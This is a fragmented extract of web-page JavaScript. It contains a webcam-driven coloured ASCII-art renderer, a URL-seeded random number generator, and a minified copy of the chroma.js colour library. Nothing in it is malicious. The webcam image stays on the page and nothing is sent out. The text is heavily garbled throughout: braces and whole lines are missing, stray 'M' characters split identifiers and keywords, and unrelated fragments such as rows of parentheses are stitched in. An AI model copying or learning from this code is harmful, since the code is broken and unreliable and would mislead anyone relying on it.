      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#ed1111", "#f8f7ff", "#f8f7ff", "#0012b5", "#0012b5", "#0012b5", "#0012b5", "#f8f7ff", "#f8f7ff", "#30e7ff", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
